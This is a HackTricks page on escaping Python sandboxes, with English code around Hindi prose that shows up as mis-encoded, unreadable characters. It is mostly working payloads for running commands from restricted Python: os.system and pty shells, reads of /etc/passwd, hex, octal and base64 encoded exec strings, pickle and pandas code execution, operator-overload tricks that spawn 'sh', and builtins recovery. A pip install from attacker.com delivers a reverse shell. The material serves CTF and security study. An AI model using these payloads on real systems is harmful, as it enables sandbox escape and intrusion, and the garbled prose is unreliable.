Bypass Python sandboxes

Support HackTricks

рдпреЗ рдХреБрдЫ рддрд░рдХреАрдмреЗрдВ рд╣реИрдВ рдЬреЛ рдкрд╛рдпрдерди рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдордирдЪрд╛рд╣реЗ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВред

Command Execution Libraries

рдкрд╣рд▓реА рдмрд╛рдд рдЬреЛ рдЖрдкрдХреЛ рдЬрд╛рдирдиреА рдЪрд╛рд╣рд┐рдП рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдЖрдпрд╛рддрд┐рдд рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рднреА рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдЖрдпрд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ open рдФрд░ read рдлрд╝рдВрдХреНрд╢рди рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдХреЛрдб рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ bypass рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

Python2 input() рдлрд╝рдВрдХреНрд╢рди рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдкрд╛рдпрдерди рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдкрд╛рдпрдерди рдкрд╣рд▓реЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ (рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдпрд╣ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ рдХрд┐ рдкрд╛рдпрдерди рдореЙрдбреНрдпреВрд▓ рдХрд╣рд╛рдБ рд╕реЗ рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ): python3 -c 'import sys; print(sys.path)'

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реНрдерд╛рдкрд┐рдд рдкрд╛рдпрдерди рдкреИрдХреЗрдЬ рдХреЗ рд╕рд╛рде рдкрд┐рдХрд▓ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреИрдХреЗрдЬ

рдЖрдк рдпрд╣рд╛рдБ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рдкреИрдХреЗрдЬреЛрдВ рдХреА рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ рдкрд┐рдХрд▓ рд╕реЗ рдЖрдк рдкрд╛рдпрдерди рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдордирдорд╛рдиреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ import рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд┐рдХрд▓, рдЬрдм рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдк рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдЖрдпрд╛рдд рдХрд░реЗрдЧрд╛:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдХрд┐ pickle рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕реЗ рджреЗрдЦреЗрдВ: https://checkoway.net/musings/pickle/

Pip рдкреИрдХреЗрдЬ

@isHaacK рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЭрд╛ рдХреА рдЧрдИ рдЪрд╛рд▓

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ pip рдпрд╛ pip.main() рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк рдПрдХ рдордирдорд╛рдирд╛ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

рдЖрдк рдкреИрдХреЗрдЬ рдХреЛ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдЗрд╕реЗ рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, setup.py рдХреЛ рдмрджрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ IP рдбрд╛рд▓рдирд╛ рдЪрд╛рд╣рд┐рдП:

рдпрд╣ рдкреИрдХреЗрдЬ Reverse рдХрд╣рд▓рд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЬрдм рдЖрдк рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддреЗ рд╣реИрдВ рддреЛ рдмрд╛рдХреА рдХреА рд╕реНрдерд╛рдкрдирд╛ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧреА, рдЗрд╕рд▓рд┐рдП рдЖрдк рд╕рд░реНрд╡рд░ рдкрд░ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд рдкрд╛рдпрдерди рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдЫреЛрдбрд╝реЗрдВрдЧреЗ рдЬрдм рдЖрдк рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВрдЧреЗред

рдкрд╛рдпрдерди рдХреЛрдб рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдирд╛

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ exec рдорд▓реНрдЯреАрд▓рд╛рдЗрди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдФрд░ ";" рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди eval рдирд╣реАрдВ (рд╡рд╛рд▓рд░рд╕ рдСрдкрд░реЗрдЯрд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ)

рдпрджрд┐ рдХреБрдЫ рд╡рд░реНрдг рдирд┐рд╖рд┐рджреНрдз рд╣реИрдВ, рддреЛ рдЖрдк hex/octal/B64 рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ bypass рдкреНрд░рддрд┐рдмрдВрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЬреЛ рдкрд╛рдпрдерди рдХреЛрдб рдХреЛ eval рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

рдСрдкрд░реЗрдЯрд░ рдФрд░ рдЫреЛрдЯреЗ рдЯреНрд░рд┐рдХреНрд╕

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Bypassing protections through encodings (UTF-7)

In рдЗрд╕ рд▓реЗрдЦ UFT-7 рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╕реНрдкрд╖реНрдЯ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рдордирдорд╛рдирд╛ рдкрд╛рдпрдерди рдХреЛрдб рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

рдпрд╣ рдЕрдиреНрдп рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ raw_unicode_escape рдФрд░ unicode_escapeред

рдХреЙрд▓ рдХреЗ рдмрд┐рдирд╛ рдкрд╛рдпрдерди рдирд┐рд╖реНрдкрд╛рджрди

рдпрджрд┐ рдЖрдк рдПрдХ рдкрд╛рдпрдерди рдЬреЗрд▓ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛, рддреЛ рдордирдорд╛рдиреЗ рдлрд╝рдВрдХреНрд╢рдВрд╕, рдХреЛрдб рдФрд░ рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ рддрд░реАрдХреЗ рдЕрднреА рднреА рд╣реИрдВред

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдиреЗ рдФрд░ рдУрд╡рд░рд▓реЛрдбрд┐рдВрдЧ

рдпрджрд┐ рдЖрдк рдХреНрд▓рд╛рд╕ рдШреЛрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд▓рд┐рдЦ/рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдХреЙрд▓ рдХрд┐рдПред

рдХрд╕реНрдЯрдо рдХреНрд▓рд╛рд╕реЗрд╕ рдХреЗ рд╕рд╛рде RCE

рдЖрдк рдХреБрдЫ рдХреНрд▓рд╛рд╕ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ (рдореМрдЬреВрджрд╛ рдХреНрд▓рд╛рд╕ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдпрд╛ рдПрдХ рдирдИ рдХреНрд▓рд╛рд╕ рдмрдирд╛рдХрд░) рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдиреЗ рдкрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХреЗрдВ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдХреЙрд▓ рдХрд┐рдПред

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Crating objects with metaclasses

рдореЗрдЯрд╛рдХреНрд▓рд╛рд╕ рд╣рдореЗрдВ рдЬреЛ рдореБрдЦреНрдп рдЪреАрдЬрд╝ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рд╡рд╣ рд╣реИ рдХреНрд▓рд╛рд╕ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдмрдирд╛рдирд╛, рдмрд┐рдирд╛ рд╕реАрдзреЗ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдХреЛ рдХреЙрд▓ рдХрд┐рдП, рд▓рдХреНрд╖рд┐рдд рдХреНрд▓рд╛рд╕ рдХреЛ рдореЗрдЯрд╛рдХреНрд▓рд╛рд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдирдИ рдХреНрд▓рд╛рд╕ рдмрдирд╛рдХрд░ред

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Creating objects with exceptions

рдЬрдм рдПрдХ exception рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ рддреЛ Exception рдХрд╛ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЖрдкрдХреЛ рд╕реАрдзреЗ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдХреЛ рдХреЙрд▓ рдХрд┐рдП (рдПрдХ рдЯреНрд░рд┐рдХ @_nag0mez рд╕реЗ):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

рдЕрдзрд┐рдХ RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

рдмрд┐рд▓реНрдЯрдЗрдиреНрд╕ рдорджрдж рдФрд░ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

рдпрджрд┐ рдЖрдк __builtins__ рдСрдмреНрдЬреЗрдХреНрдЯ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЖрдпрд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдпрд╣рд╛рдБ рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рджрд┐рдЦрд╛рдП рдЧрдП рдЕрдиреНрдп рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ __builtins__ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдХреБрдЫ рднреА рдЖрдпрд╛рдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ рдФрд░ рди рд╣реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝ рдпрд╛ рд▓рд┐рдЦ рдкрд╛рдПрдВрдЧреЗ рдХреНрдпреЛрдВрдХрд┐ рд╕рднреА рд╡реИрд╢реНрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди (рдЬреИрд╕реЗ open, import, print...) рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрддреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдкрд╛рдпрдерди рдореЗрдореЛрд░реА рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдореЙрдбреНрдпреВрд▓ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИред рдпреЗ рдореЙрдбреНрдпреВрд▓ рдирд┐рд░реНрджреЛрд╖ рд▓рдЧ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рднреА рдЖрдпрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдордирдорд╛рдиреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рдХреБрдЫ рдЗрд╕ "рдирд┐рд░реНрджреЛрд╖" рдореЙрдбреНрдпреВрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

рдиреАрдЪреЗ рдПрдХ рдмрдбрд╝рд╛ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЖрдкрдХреЛ builtins рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдЧрд╣реЛрдВ рдХреЗ рджрд░реНрдЬрдиреЛрдВ/рд╕реИрдХрдбрд╝реЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛ред

Python2 рдФрд░ Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

globals рдФрд░ locals рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рдпрд╣ рдЬрд╛рдирдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдЖрдк рдХреНрдпрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

>>> globals()
